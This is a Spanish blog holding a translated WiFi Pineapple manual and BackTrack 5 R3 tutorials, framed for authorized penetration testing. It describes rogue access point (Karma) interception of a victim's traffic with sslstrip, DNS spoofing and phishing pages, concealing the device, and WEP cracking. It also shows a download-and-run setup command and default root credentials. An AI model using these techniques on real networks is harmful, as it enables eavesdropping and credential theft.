sábado, 29 de septiembre de 2012

Manual de la Piña WiFi - Parte 5: Conectándose por Primera Vez

El escenario de conexión de la Piña WiFi (Mark IV) más básico involucra un cable Ethernet conectado directamente entre la Piña WiFi y el PC. Se han proporcionado configuraciones de la conexión tanto para Linux como para Windows.

Conexión vía Ethernet en Linux

Hemos hecho que la conexión de la Piña WiFi con Linux sea muy simple. Por defecto, la Piña WiFi viene con la dirección IP 172.16.42.1 y asigna direcciones IP a los clientes en el rango de 172.16.42.100-150. Su puerta de enlace predeterminada se establece como 172.16.42.42 ó como 172.16.42.1 dependiendo de su modo de operación (Módem USB vs. Tethering).

Esto significa que la Piña WiFi estará buscando una conexión a Internet desde el dispositivo con la dirección IP 172.16.42.42. Un script simple de conexión rápida se ha proporcionado como en http://wifipineapple.com/wp4.sh. Descargando y ejecutando el script le guiará a través del proceso de configuración de la interfaz Ethernet y la configuración del reenvío de paquetes IP (IP Forwarding) para compartir la conexión de Internet.

Encienda la Piña WiFi y conéctela directamente al PC host a través de cable Ethernet utilizando el puerto PoE/LAN. Descargue y ejecute el script de conexión rápida:
wget wifipineapple.com/wp4.sh; chmod + x wp4.sh; ./wp4.sh



El asistente de conexión hará algunas preguntas sobre la conexión de red. Para la mayoría de usuarios, la “Interfaz entre el PC y la Piña” y “Interfaz entre PC e Internet” son las más importantes ya que las demás se pueden establecer por defecto sin configuración específica.

Una vez estas preguntas son respondidas, el asistente configurará reglas de iptables y la Piña WiFi estará lista para ser utilizada. Acceda al Centro de Control de la Piña WiFi ingresando desde su navegador web a la dirección http://172.16.42.1/pineapple y autentíquese con el nombre de usuario “root” y la contraseña predeterminada “pineapplesareyummy”. 



Conexión vía Ethernet en Windows

Aunque en la actualidad no hay un script de conexión rápida para Windows 7, esta es bastante simple y sencilla de configurar.

Primero debemos entender que la Piña WiFi tiene una dirección IP predeterminada 172.16.42.1 y como cualquier router WiFi, asigna a los clientes direcciones IP en el rango de 172.16.42.100-250. Cuando se conecta un PC a través de Ethernet o WiFi, la Piña WiFi utilizará como puerta de enlace la dirección IP 172.16.42.42.

Así que, sí el adaptador de red del host Windows 7 de cara a la Piña está configurado con la dirección IP estática 172.16.42.42 y sí el adaptador de red de cara a Internet (Ej. Tarjeta WiFi o Módem USB 3G/4G) está configurado con conexión compartida a Internet, los clientes conectados a la Piña WiFi saldrán a Internet a través de conexión a Internet del PC Windows 7.

Comience por encender la Piña WiFi y conéctela directamente con un cable Ethernet al PC host Windows 7. Luego, haga click en Inicio, escriba "ver conexiones de red" y presione ENTER. Haga click derecho en el adaptador de cara a Internet y luego haga click en Propiedades.


En la pestaña "Uso compartido" active la casilla "Permitir que los usuarios de otras redes se conecten a través de la conexión a Internet de este equipo". Haga click en Aceptar y, a continuación SÍ a la advertencia.





A continuación haga click en el adaptador Ethernet conectado directamente a la Piña WiFi y haga clic en Propiedades.



Seleccione "Protocolo de Internet versión 4" y haga click en Propiedades.



Marque "Usar la siguiente dirección IP" e ingrese la dirección IP 172.16.42.42 y 255.255.255.0 para la máscara de red. Deje en blanco el campo de la puerta de enlace predeterminada. A continuación, seleccione "Usar la siguiente dirección de servidor DNS" y establezca la dirección 8.8.8.8 para el servidor DNS preferido. Haga click en Aceptar y luego en Cerrar.


Los adaptadores de red de cara a la Piña Wifi y a Internet del host Windows 7 se han configurado y se ha activado la conexión compartida a Internet. Ahora abra su navegador web de su elección, diríjase a la dirección http://172.16.42.1/pineapple y autentíquese con el nombre de usuario “root” y la contraseña predeterminada “pineapplesareyummy”. La conexión a Internet puede verificarse utilizando las herramientas ping o traceroute encontradas en la página “Avanzada” en la barra de navegación del Centro de Control de la Piña WiFi.


viernes, 28 de septiembre de 2012

Backtrack 5 R3: Parte 1

Backtrack es una de las distribuciones Linux más populares utilizadas para Pruebas de Intrusión y Auditorías de Seguridad. El equipo de desarrollo Backtrack es patrocinado por Offensive Security. El 13 de agosto de 2012, Backtrack 5 R3 fue liberado. Esto incluyó la adición de cerca de 60 nuevas herramientas, la mayoría de las cuales fueron liberadas durante las conferencias Defcon y Blackhat celebradas en Las Vegas el pasado julio de 2012. En esta serie de artículos, vamos a cubrir la mayoría de las nuevas herramientas que se incluyeron con Backtrack 5 R3 y su funcionamiento. Algunos de los cambios notables incluyen herramientas para pruebas de penetración móvil, herramientas gráficas de usuario para rompimiento WiFi y toda una nueva categoría de herramientas llamada la Explotación Física.

Obteniendo Backtrack 5 R3

Hay dos formas de empezar a trabajar rápidamente con Backtrack 5 R3. Si ya estamos ejecutando Backtrack 5 R2, podemos actualizar a BackTrack 5 R3 siguiendo los pasos descritos en esta página. O podemos hacer una nueva instalación de Backtrack 5 R3 descargando los instaladores en la sección de descargas en la web oficial de Backtrack.

Una lista de nuevas herramientas liberadas con Backtrack 5 R3 de acuerdo al sitio oficial son libcrafter, blueranger, dbd, inundator, intersect, mercury, cutycapt, trixd00r, artemisa, rifiuti2, netgear-telnetenable, jboss-autopwn, deblaze, sakis3g, voiphoney, apache-users, phrasendrescher, kautilya, manglefizz, rainbowcrack, rainbowcrack-mt, lynis-audit, spooftooph, wifihoney, twofi, truecrack, uberharvest, acccheck, statsprocessor, iphoneanalyzer, jad, javasnoop, mitmproxy, ewizard, multimac, netsniff-ng, smbexec, websploit, dnmap, johnny, unix-privesc-check, sslcaudit, dhcpig, intercepter-ng, u3-pwn, binwalk, laudanum, wifite, tnscmd10g bluepot, dotdotpwn, subterfuge, jigsaw, urlcrazy, creddump, android-sdk, apktool, ded, dex2jar, droidbox, smali, termineter, bbqsql, htexploit, smartphone-pentest-framework, fern-wifi-cracker, powersploit, y webhandler. En esta serie de artículos cubriremos la mayoría de estas herramientas.

Fern-Wifi-Cracker

Fern Wi-fi cracker es un programa desarrollado en Python que proporciona una interfaz gráfica para el rompimiento de redes inalámbricas. Por lo regular, se nos hace necesario ejecutar aireplay-ng, airodump-ng y aircrack-ng por separado al querer romper redes inalámbricas, pero Fern-Wifi-Cracker nos simplifica este trabajo, actuando como un front-end sobre estas herramientas y ocultándonos todos los detalles intrincados. También viene con un montón de herramientas que nos ayuda a ejecutar ataques tales como secuestro de sesión (session hijacking), localizar un sistema específico mediante geolocalización en base a su dirección MAC, etc. Podemos encontrar Fern Wi-fi cracker en las herramientas de explotación categoría Wireless como se muestra en la siguiente figura:


Antes de empezar con Fern-WiFi-Cracker, es importante tener en cuenta que debemos tener un adaptador WiFi que soporte la inyección de paquetes. En mi caso, tengo corriendo Backtrack 5 R3 como máquina virtual y le he conectado un adaptador WiFi externo ALFA. Podemos verificar si nuestro adaptador se puede poner en modo monitor con solo teclear airmon-ng y podremos ver la lista de interfaces que se pueden poner en modo monitor. Una vez hecho esto, podemos ejecutar Fern-WiFi-Cracker.



Seleccionamos la interfaz apropiada para ejecutar el sniffing:



Una vez se ha seleccionado la interfaz, se creará automáticamente una interfaz virtual adicional (mon0) sobre la seleccionada, como se observa en la siguiente imagen:



Ahora, hacemos click en botón de análisis para buscar las redes disponibles. Como podemos ver en los resultados, se han encontrado 11 redes WEP y 27 redes WPA.



En este caso, vamos a romper una red WEP llamada "hacknode_test" la cual he configurado para realizar pruebas. Seleccionamos del listado de redes detectadas "hacknode_test" y veremos información específica como el BSSID del punto de acceso, el canal en el que el punto de acceso está transmitiendo, etc. En la parte inferior derecha, se puede elegir entre una variedad de ataques como ARP Request Replay, Chop-Chop Attack, Fragmentation Attack, etc. En mi caso, voy a seleccionar el ataque ARP Request Replay. Una vez hecho esto, hacemos click en el botón "Attack" y se iniciará el proceso de rompimiento WEP.

Ahora veremos que se estarán capturando algunos IV (vectores de inicialización) como se muestra en la imagen siguiente. La herramienta también nos indicará si el adaptador inyecta paquetes paquetes arp correctamente o no, como se muestra en la parte inferior derecha de la imagen a continuación.



Una vez se hayan recolectado suficientes IV’s, se iniciará automáticamente el proceso de rompimiento de la llave WEP.



Dnmap

Imaginémonos que tenemos que escanear una red enorme que contiene miles de máquinas. Si hacemos la exploración mediante nmap desde una única máquina tomára bastante tiempo. Con el fin de resolver este problema, se ha creado Dnmap. Dnmap es un framework que sigue una arquitectura cliente/servidor. El servidor emite comandos de nmap a los clientes y los clientes los ejecutan. De esta manera, la carga de ejecución de una exploración grande se distribuye entre los clientes. Los comandos que el servidor le envia a sus clientes se ejecutan en una línea de comandos. Los resultados son almacenados en un archivo de log que se guarda tanto en el cliente como en el servidor. Todo el proceso de ejecución Dnmap sigue los siguientes pasos:

  1. Crea una lista de comandos que queramos ejecutar y los guarda en un archivo, Ej. comandos.txt. Notemos la dirección IP del servidor.
  2. Ejecuta el servidor dnmap y pasa el archivo de comandos como argumento.
  3. Conecta los clientes al servidor. Tengamos en cuenta que el servidor debe ser accesible desde cada cliente.

Procederemos a ejecutar la demo ahora. Tengo 2 máquinas virtuales que ejecutan ambos Backtrack 5 R3. Voy a ejecutar el servidor Dnmap en una de las máquinas virtuales y un cliente en la segunda.

Encontramos Dnamp en la ruta /pentest/scanners/dnmap. Antes de ejecutarlo, es necesario crear un archivo comandos.txt previamente. Como se puede ver en la imagen siguiente, tenemos 3 comandos de nmap en el archivo comandos.txt.




A continuación, ingresamos el comando como se muestra en la siguiente imagen para iniciar el servidor dnmap. He iniciado el servidor dnmap para que escuche en el puerto 800. Como podemos observar, actualmente no detecta cliente alguno. Por lo tanto el siguiente paso es hacer que algunos clientes se conecten a este servidor dnmap. También, es preferible definir la ubicación del archivo de log que almacenará todos los resultados.



En mi otra máquina BT5R3, ejecutaré el siguiente comando para conectar el cliente al servidor. Notemos que la dirección IP de mi servidor dnmap es 192.168.1.4 y ya que mi otra máquina virtual también se encuentra en la misma red interna, esta podrá tener alcance de red hacia el servidor. También debemos especificar el puerto del servidor al cual conectaremos el cliente. También es opcional especificar un alias para el cliente.

Una vez el cliente establezca la conexión con el servidor, veremos que el cliente empieza a ejecutar los comandos recibidos del servidor.



En el lado del servidor, notaremos que este reconoce el cliente y lo muestra en la salida de pantalla. También nos muestra continuamente información tal como el número de comandos ejecutado, tiempo de ejecución, estado en línea, etc.



Una vez las exploraciones se han completado, dnmap almacena los resultados en un directorio llamado nmap_output. Los resultados se guardan en formato .nmap, .gnmap y .xml. Hay archivos de salida separados para cada comando. Es aconsejable limpiar todos los archivos de análisis anteriores en el directorio nmap_output o guardarlos en otro lugar antes de iniciar una nueva exploración. Esta es una muestra de como se vé un archivo de resultados:




Referencias: 

Actualizar de BackTrack 5 R2 a BackTrack 5 R3
Fern-Wifi-Cracker
Dnmap framework official page


Crossposted from Backtrack 5: Part 1

miércoles, 15 de agosto de 2012

Manual de la Piña WiFi - Parte 4: Alimentación de Energía

Sobre la Alimentación Eléctrica

Al utilizar una batería externa USB que proporciona 5v de energía, hemos observado que se consume 1 amperio en estado suspendido (sin tener WiFi habilitado), 1.5 amperios con WiFi habilitado y de 3 a 5 amperios con un módem de banda ancha USB. Algunos módems USB pueden requerir un hub usb potenciado con un alimentador de 5v para operación continua. Lejos de sacar conclusiones, la evidencia anecdótica demuestra que los módems CDMA consumen mayor amperaje que sus contrapartes GSM.

Adaptador AC

El adaptador de corriente eléctrica que se incluye con la piña suministra una salida DC de 12v a 1 amp. Requiriendo una entrada AC de 100-240v. con 50/60 Hz, el adaptador puede ser fácilmente adaptado para uso en el extranjero.

USB a PC

La Piña WiFi es capaz de operar con un suministro de energía USB, tal como una laptop, o una batería externa recargable. Un cable adaptador USB a DC se encuentra disponible en la tienda hakshop.com. El adaptador DC es de 5.5 mm OD, 2.1 mm ID, centro positivo. La alimentación inversa de energía desde el puerto USB no se recomienda.



Baterías Externas Recargables

Con el cable adaptador USB a DC una batería externa recargable (tal como la Pineapple Juice Pack de hakshop.com), puede utilizarse para potenciar la Piña WiFi. Las baterías externas con salida de 1 a 2 amp. (que se promocionan como “Cargadores de iPad”) son las preferidas. En promedio, la Piña WiFi consumirá entre 1000 a 2000 miliamperios por hora.



Power-over-Ethernet

La Piña WiFi Mark IV incluye capacidades de alimentación de energía a través de Ethernet (PoE) a través de su puerto PoE/LAN, el cual es perfecto para instalaciones de constante funcionamiento. Un inyector PoE se encuentra disponible en la tienda hakshop.com.



Energía Solar

Nuestras pruebas han demostrado que una Piña WiFi se puede implementar exitosamente y administrar remotamente casi de forma indefinida utilizando un panel solar de 5 watt, una batería de ácido de plomo de 12v de suficiente capacidad y un controlador de 12v. Planos y kits específicos pueden ser vistos como referencia en WiFiPineapple.com.



martes, 14 de agosto de 2012

Actualizar de BackTrack 5 R2 a BackTrack 5 R3

Recientemente se ha publicado la muy esperada BackTrack 5 R3, para aquellos que no deseen iniciar con una nueva instalación no hay ningún temor porque actualizar una versión existente de R2 a R3 es muy fácil.

El enfoque principal de esta versión se fué la implementación de varias correcciones a bugs, numerosas actualizaciones de herramientas y la adición de mas de 60 nuevas herramientas a la suite de BackTrack. Por esto es que la ruta de actualización a BackTrack 5 R3 es relativamente rápida e indolora.

Primero, debemos asegurarnos que el sistema R2 se encuentre totalmente actualizado: 

apt-get update && apt-get dist-upgrade

Cuando el proceso dist-upgrade haya finalizado, todo lo que resta es la instalación de las nuevas herramientas que han sido agregadas para la distribución R3. Un punto importante a tener en cuenta es que existen leves diferencias entre las versiones de herramientas para 32-bits y 64-bits, asi que debemos asegurarnos de seleccionar la correcta.

Herramientas de 32-Bits

apt-get install libcrafter blueranger dbd inundator intersect mercury cutycapt trixd00r artemisa rifiuti2 netgear-telnetenable jboss-autopwn deblaze sakis3g voiphoney apache-users phrasendrescher kautilya manglefizz rainbowcrack rainbowcrack-mt lynis-audit spooftooph wifihoney twofi truecrack uberharvest acccheck statsprocessor iphoneanalyzer jad javasnoop mitmproxy ewizard multimac netsniff-ng smbexec websploit dnmap johnny unix-privesc-check sslcaudit dhcpig intercepter-ng u3-pwn binwalk laudanum wifite tnscmd10g bluepot dotdotpwn subterfuge jigsaw urlcrazy creddump android-sdk apktool ded dex2jar droidbox smali termineter bbqsql htexploit smartphone-pentest-framework fern-wifi-cracker powersploit webhandler


Herramientas de 64-Bits:

apt-get install libcrafter blueranger dbd inundator intersect mercury cutycapt trixd00r rifiuti2 netgear-telnetenable jboss-autopwn deblaze sakis3g voiphoney apache-users phrasendrescher kautilya manglefizz rainbowcrack rainbowcrack-mt lynis-audit spooftooph wifihoney twofi truecrack acccheck statsprocessor iphoneanalyzer jad javasnoop mitmproxy ewizard multimac netsniff-ng smbexec websploit dnmap johnny unix-privesc-check sslcaudit dhcpig intercepter-ng u3-pwn binwalk laudanum wifite tnscmd10g bluepot dotdotpwn subterfuge jigsaw urlcrazy creddump android-sdk apktool ded dex2jar droidbox smali termineter multiforcer bbqsql htexploit smartphone-pentest-framework fern-wifi-cracker powersploit webhandler

Eso es todo lo que hay que hacer! Una vez todas las herramientas hayan sido instaladas, ya estamos corriendo en versión R3. Como siempre, si se presenta algún error o falla, esta debe reportarse a través del BackTrack Redmine Tracker.



Crossposted from Upgrade From BackTrack 5 R2 to BackTrack 5 R3

miércoles, 8 de agosto de 2012

Manual de la Piña WiFi - Parte 3: Conectividad

La Piña WiFi es esencialmente un punto de acceso inalámbrico y como tal proporciona a clientes servicios de conectividad de red tales como Internet. Normalmente la Piña WiFi operará en uno de estos modos:





Ethernet a PC

Con un cable Ethernet conectado al puerto PoE / LAN de la Piña WiFi, se puede compartir el acceso a Internet. Esto se hace normalmente con una laptop conectada a un punto de acceso inalámbrico cercano y legítimo, aunque se puede utilizar cualquier forma de de acceso a Internet, sea cableado o inalámbrico, puede compartirse. Un simple script de anclaje está disponible para sistemas Linux mientras que los usuarios con Windows pueden seguir instrucciones simples para habilitar la Conexión Compartida a Internet en la sección Conectándose por Primera Vez.





WiFi a PC

Muy similar a la conexión vía Ethernet, la WiFi puede utilizarse como un cable invisible, no hay diferencia alguna para la Piña WiFi. Esto le da al usuario la movilidad y libertad inalámbrica que requiere mientras que le proporciona a la Piña WiFi el acceso a Internet, tanto como los dispositivos se encuentren dentro del alcance.
Con el script de conexión, solo es cuestión de seleccionar las interfaces correctas.



Anclaje USB con Android

Desde la versión de Android 2.2 (Froyo), tres métodos de anclaje o tethering están soportados: Anclaje de Bluetooth, Zona WiFi portátil y Anclaje de USB. El último puede ser utilizado con la Piña WiFi para proporcionar el acceso a Internet a los clientes.




Dependiendo del modelo del dispositivo Android y del operador móvil, esta funcionalidad se puede habilitar y puede incurrir en costos por uso. Verifique su plan de datos y operador móvil antes de proceder a usar esta característica. Normalmente los dispositivos desbloqueados y rooteados pueden omitir los cargos adicionales de anclaje impuestos por el operador móvil. Cyanogenmod es solo un ejemplo de un ROM que soporta anclaje a través de USB. Algunas aplicaciones en la tienda Google Play ofrecen capacidades de Anclaje USB para dispositivos no rooteados. PDANet es uno de tales ejemplos. Desafortunadamente estas aplicaciones normalmente requieren una aplicación propietaria para ser instalada en el sistema Windows o Mac y no puede utilizarse en conjunto con la Piña WiFi.

Si su dispositivo Android soporta Anclaje de USB, puede utilizarse para proporcionar Internet a la Piña WiFi, también para compartir la conexión WiFi de Android o la conexión de Banda Ancha Móvil. Para habilitarlo, conecte un cable USB entre el dispositivo Android y la Piña WiFi. Con la Piña WiFi encendida y un cable USB conectado entre ambos dispositivos, el anclaje es ahora posible.

Desde la versión 2.3 (Gingerbread) de Android, la opción de Anclaje de USB se puede encontrar en el menú de configuraciones, normalmente en Ajustes > Conexiones Inalámbricas y redes > Anclaje a red y zona WiFi > Anclaje de USB.




En esta configuración la Piña WiFi obtendrá una nueva interfaz de red, usb0, y el enrutamiento será automáticamente ajustado para utilizar el dispositivo Android como su puerta de enlace predeterminada. No se requiere de configuraciones adicionales en la Piña WiFi. Para terminar al uso del anclaje de USB de Android, desconecte el cable USB o desactive la opción de anclaje en el dispositivo Android. La Piña WiFi deshabilitará automáticamente la interfaz usb0 y restablecerá la configuración predeterminada de enrutamiento.



Banda Ancha Móvil

La Piña WiFi proporciona soporte externo (out-of-the-box) para unos cuantos módems de banda ancha móvil USB 3G y 4G. El script de conexión 3G puede encontrarse en la opción 3G de la barra de navegación en el Centro de Control de la Piña WiFi (interfaz de administración web) y es actualizado con soporte a nuevos módems en WiFIPineapple.com. Las utilidades USB Mode Switch y SDPARM han sido incluidas para soportar la mayoría de los módems. Por favor revise los foros de la Piña WiFi y el wiki para obtener mayor información sobre estos dispositivos.





Relay WiFi

Desde la versión 2.3 del firmware, la Piña WiFi ha soportado un limitado número de adaptadores WiFi USB. Principalmente el adaptador basado en chipset Atheros ALFA AWUS036NHA. Este adaptador WiFi USB puede utilizarse en conjunto con la Piña WiFi como un segundo radio inalámbrico, habilitando el “Modo Cliente” o Relay WiFi y proveer acceso a Internet a clientes desde un punto de acceso cercano. Mientras que el radio wifi embebido en la Piña WiFi (wlan0) es utilizado en Modo Maestro (Access Point), el adaptador USB WiFi (wlan1) puede utilizarse en Modo Administrado (cliente) para conectarse a una estación base cercana.

A la fecha de elaboración del presente manual, no existe un módulo para la interfaz web que permita simplificar el proceso de conexión, sin embargo, las utilidades iwconfig y wpa_supplicant están incluidas para aquellos que se familiarizan con la terminal Linux. Se le recuerda a los usuarios consultar la página WiFiPineapple.com para obtener actualizaciones de los módulos.



Conexión Standalone

Siendo un dispositivo potenciado por un sistema Linux embebido, la Piña WiFi puede operar en un modo “standalone” o modo solitario, proporcionando a los clientes servicios web hospedados internamente. Utilizando las herramientas incluidas de Spoofing DNS (suplantación DNS), una técnica común es redireccionar las direcciones web específicas al servidor web interno de la Piña WiFi. Estas páginas pueden ofrecer páginas de engaño similarmente idénticas para ataques de phishing, código para exploits remotos, ataques de ingeniería social o inclusive para meter el video “Never Gonna Give You Up” de Rick Astley (Ataque RickRolling).




lunes, 6 de agosto de 2012

Manual de la Piña WiFi - Parte 2: La Historia de Alicia y Carlos

La Piña WiFi es una versátil herramienta de auditoría inalámbrica que se puede utilizar en varias configuraciones. Este documento sirve como una guía para configurar la Piña WiFi de la forma más común de éstas: como un simple punto de acceso intermediario o MITM (Man-in-the-Middle). La naturaleza de esta configuración se puede ilustrar de la siguiente forma:

Imagínese que usted es Carlos, un pentester de Acme S.A., sentado en la cafetería de Acme S.A. (donde preparan excelentes sándwiches). Los ocupados trabajadores de la oficina están comiendo, socializando y navegando a través de sus laptops, tabletas y smartphones. Alicia está sentada en la mesa frente a usted, tiene una ensalada y está sacando una tablet de su bolso. Ella tiene la intención de conectarse a la red inalámbrica de Acme S.A. y descargar videos de gatitos en su hora de almuerzo. La tablet, al encenderse, transmite Sondas de Peticiones buscando las redes WiFi preferidas.

Como Alicia ya se ha conectado en ocasiones anteriores a la red inalámbrica de Acme S.A. desde su tablet, la tablet recordará el nombre de la red (SSID) y la buscará de forma periódica. Si la red wifi de Acme S.A. está dentro del rango, la tablet va a recibir una Sonda de Respuesta a su Sonda de Petición.

La Sonda de Respuesta proporciona a la tablet de Alicia la información necesaria que requiere para asociarse a la red de Acme S.A. Dado que este proceso ocurre de forma automática para cada red wifi a la que Alicia se conecta con frecuencia, tanto desde su tablet como desde su laptop, ella no se molesta en escoger a la hora de conectarse desde su oficina, desde su casa, desde una cafetería o incluso desde un avión!.

Por otro lado Carlos (ese es usted!), tiene una Piña WiFi Mark IV en su morral. Con Karma habilitado, la Piña WiFi está en constante escucha de las sondas de petición. Cuando la Piña WiFi escucha una sonda de petición para la red de Acme S.A. proveniente de la tablet de Alicia, la Piña WiFi responde con una sonda de respuesta correctamente diseñada. Esto le informa a la tablet de Alicia que la Piña WiFi es en realidad la red inalámbrica de Acme S.A.

Por supuesto, esto es un engaño que la tablet de Alicia va a creer. Esta mentira simple y efectiva es la responsable del nombre clave de la Piña WiFi “Jasager” (“El Hombre Si” en alemán). Se debe entender que cuando la tablet de Alicia transmite la sonda de petición para la red de Acme S.A., tanto la Piña WiFi con Karma habilitado y la red wifi real de Acme S.A., responderán. En esta situación la Piña WiFi de Carlos probablemente ganará la carrera debido a la próximidad. Por otra parte, si Alicia y Carlos se encuentran en una cafetería a kilómetros de las oficinas de Acme S.A., la misma sonda de solicitud podrá esperarse y la Piña WiFi va a ganar definitivamente.

Una vez la tablet de Alicia recibe la sonda de respuesta de Piña WiFi de Carlos, iniciarán el proceso de asociación, y en pocos segundos, la tablet habrá obtenido una dirección IP del servidor DHCP de la Piña WiFi. El servidor DHCP de la Piña WiFi no sólo le ofrece a la tablet de Alicia una dirección IP, sino también la información de servidores DNS y de enrutamiento necesaria para conectarse. Dependiendo de la configuración de la Piña WiFi, la tablet de Alicia va a utilizar una de las dos puertas de enlace predeterminadas para conectarse.

Si Carlos tiene la Piña WiFi atada su computador portátil (con conexión a Internet al mismo tiempo) a través de Ethernet, la puerta de enlace predeterminada que utilizará la tablet de Alicia será 172.16.42.42 (la dirección IP del portátil de Carlos). Carlos puede atar la Piña WiFi a laptop mediante un cable Ethernet utilizando simplemente el script "mk4.sh" en Linux, o permitir la conexión compartida a Internet en Windows 7. Los detalles sobre esto están disponibles en el presente documento.

Si Carlos tiene la Piña WiFi conectada a Internet a través de un Módem USB 3G de banda ancha móvil preconfigurado (una nueva funcionalidad en la Mark IV) la puerta de enlace predeterminada que utilizará la tablet de Alicia será 172.16.42.1 (la dirección IP de la Piña WiFi).

Ahora que la Piña WiFi de Carlos, con acceso a Internet, ha hecho amistad con la tablet de Alicia, ella es libre de navegar por la web y él es libre de espiar e incluso cambiar lo que Alicia ve en la web. Utilizando algunas de las herramientas MITM (Man-In-The-Middle) incluidas, Carlos podrá ver qué sitios web visita Alicia (urlsnarf). Como Carlos es particularmente travieso, el prefiere cambiar los servidores a los que se conecta Alicia cuando esté buscando un sitio web particular (dnsspoof) - sustituyendo así los vídeos de gatitos por unos de cachorritos. Que horror!.



Con módulos adicionales que se ejecutan desde un dispositivo de almacenamiento masivo USB, Carlos es incluso capaz de guardar la sesión de navegación de Alicia en la USB para su posterior análisis (tcpdump), interceptar las comunicaciones seguras (sslstrip), o inyectar código malicioso en los sitios web (ettercap-ng).

Alternativamente, si Carlos no opta por proporcionar acceso a Internet del todo, la puerta de enlace predeterminada será 172.16.42.1 y la Piña WiFi seguirá siendo una herramienta eficaz de auditoría inalámbrica. Habilitando dnsspoof, Carlos podrá redirigir la sesión de navegación de Alicia en sitios web legítimos al servidor web incorporado en Piña WiFi, el cual puede albergar un número de sitios de phishing o malware.

Como Carlos no puede permanecer en la cafetería de Acme S.A. todo el día (no importa lo deliciosos que sean los sándwiches), podría considerar la posibilidad de dejar su Piña Wi-Fi en el hotel. La Piña WiFi se puede ocultar dentro de una caja con paquete de baterías o incluso puede ocultarse a simple vista utilizando la infraestructura del edificio (caja de telefonía, circuitos eléctricos, etc.). Se pueden revisar el foro de la Piña WiFi para buscar inspiración en creativas opciones de almacenamiento, tales como enchufes eléctricos magnéticos, plantas de energía, o cajas de mantenimiento de servicios públicos.

En este caso Carlos podrá administrar de manera remota la Piña WiFi. Si no está proporcionando acceso a Internet, Carlos tendrá que estar dentro del alcance de la red inalámbrica de la Piña WiFi con el fin de conectarse a la administración a traves del SSID "pinneapple" (configurable). Si se proporciona el acceso a Internet, Carlos puede configurar un túnel SSH persistente. Configuración y ayuda sobre esto se encuentra disponible desde la interfaz web de la Piña WiFi.

Con un túnel SSH o VPN habilitado, el tráfico de Internet de los clientes conectados a la Piña WiFi se enruta a través del túnel de punto final - por lo general un servidor privado virtual (VPS). Desde este VPS, Carlos también podrá extender el ataque MITM con herramientas adicionales.


jueves, 2 de agosto de 2012

Manual de la Piña WiFi - Parte 1: Introducción

Inicio una serie de artículos en los que estaré publicando por partes el manual en español de la Piña Wifi. Este manual está basado en el libro publicado por Darren Kitchen en los foros de Hak5 pocas semanas atrás.
Esperamos tener pronto una versión oficial del manual en idioma español basada en esta traducción para entregar sin costo a quien adquiera la Piña WiFi en los paises de habla hispana. Espero que les sea de utilidad.



Piña WiFi

El HoneyPot Hot-Spot




Introducción


Un año después del debut del proyecto de código abierto Jasager con Robin Wood (alias Digininja) en el programa Hak5, y después de muchas negativas a solicitudes de adquirir unidades prefabricadas, Darren Kitchen renunció a construir mas Piñas WiFi a la medida.
Cada Mark I, que se adecuaba dentro de una piña de plástico con una batería soldada por Shannon Morse (alias Snubs), era enviada a la oficina de correos, dos al mismo tiempo, en la parte trasera de la motocicleta de Darren.
Hoy en día, con el continuo desarrollo de Robin Wood, Sebastian Kinne, Hak5 y la apasionada comunidad Jasager, la Piña WiFi Mark IV ha evolucionado para convertirse en la herramienta de penetración inalámbrica más avanzada de su tipo. 
Esperamos que este manual le sea útil y le damos la bienvenida a unirse a la comunidad en WiFiPineapple.com


Advertencia

La Piña WiFi es una herramienta de análisis de redes inalámbricas para ser utilizada en auditorías de seguridad donde esto se permita. Revise las regulaciones y obtenga permiso del cliente antes de utilizarla. Hak5, LLC., Darren Kitchen, Robin Wood, Rob Fuller, Sebastian Kinne y asociados no se hacen responsables por el uso no autorizado. Por favor hackee responsablemente. 


Resumen de Características

  • Punto de Acceso Man-In-The-Middle sigiloso
  • Modems de Banda Ancha Móvil y Anclaje con Android (tethering)
  • Administración remota con túneles SSH persistentes
  • Ataques de Relay o Deautenticación con radio auxiliar WiFi
  • Administración web que simplifica los ataques MITM
  • Se oculta fácilmente y funciona con baterías
  • Expandible mediante módulos desarrollados por la comunidad

El Corazón de la Piña


La mayoría de los dispositivos inalámbricos incluyendo laptops, tablets y smartphones tienen aplicaciones de red que se conectan automáticamente a los puntos de acceso que recuerdan. Esta conveniente funcionalidad es lo que nos conecta sin esforzarnos mucho cuando encendemos nuestro computador en la casa, en la oficina, en un aeropuerto o en cualquier otro sitio con acceso wifi público. De manera muy simple, cuando encendemos la computadora, la señal inalámbrica de radio envía sondas de solicitudes. Estas solicitudes dicen "¿Se encuentra tal y tal red inalámbrica por aquí?" La Piña WiFi Mark IV, potenciada por Jasager, responde a estas solicitudes diciendo "Si, Yo soy tal y tal red wifi, ven y conéctate!".


 

Conociendo la Piña WiFi

 

 

Hardware

  • Procesador Atheros AR9331 SoC de 400 MHz
  • Adaptador WiFi 802.11 b/g/n de 150 Mbps
  • 2 puertos Ethernet. 1 con capacidad PoE (Power over Ethernet)
  • USB 2.0 para almacenamiento extendido, interfaces WiFi o Banda Ancha Móvil
  • Velóz firmware Jasager basado en kernel Linux 3.2 (construido sobre OpenWRT)

Generalidades de la Interfaz Web


La Piña WiFi es una versátil plataforma de ataques para redes wifi desarrollada específicamente por y para pentesters. Con énfasis en la facilidad de uso y bajo costo de implementación, la Piña WiFi es capaz de auditar varios dispositivos wireless 802.11 tales como computadoras portátiles, tablets y smartphones. Desarrollada sobre la última distribución Linux OpenWRT y específicamente diseñada para uso óptimo de hardware embebido, la Piña WiFi proporciona una rápida y efectiva plataforma para auditorías de seguridad en redes inalámbricas.

Karma 

En su núcleo, la Piña WiFi es capaz de buscar dispositivos inalámbricos cercanos, u “objetivos”, haciéndose pasar como cualquier punto de acceso wireless abierto. Para este fin, la Piña WiFi utiliza un driver wireless altamente personalizado que implementa un ataque “Karma”, escuchando y respondiendo sondas de peticiones 802.11 con respuestas de suplantación.

Módulos

Una vez un objetivo ha sido adquirido por la Piña WiFi, una gran cantidad de herramientas populares Man-in-the-Middle de código abierto ya incluidas pueden ser utilizadas para propósitos de monitoreo. Adicionalmente a las herramientas incluidas, la Piña WiFi pude extender sus funcionalidades con varios módulos desarrollados por la comunidad. Los módulos, instalados desde la interfaz web, ofrecen muchas mejoras tales como ataques de de-autenticación, listado de redes disponibles, monitoreo y registro de eventos.

Administración 

La simplicidad es la clave al usar la Piña WiFi, como tal, la interfaz web ha sido modelada para routers inalámbricos comerciales con un poco del encanto de los BBS de hackers de la vieja escuela para un mejor rendimiento. Aunque la mayoría de las funcionalidades pueden ejecutarse desde una shell a través de SSH, la interfaz web proporciona la activación o desactivación de servicios, generación de reportes, registro y monitoreo de eventos, directamente desde su navegador web.

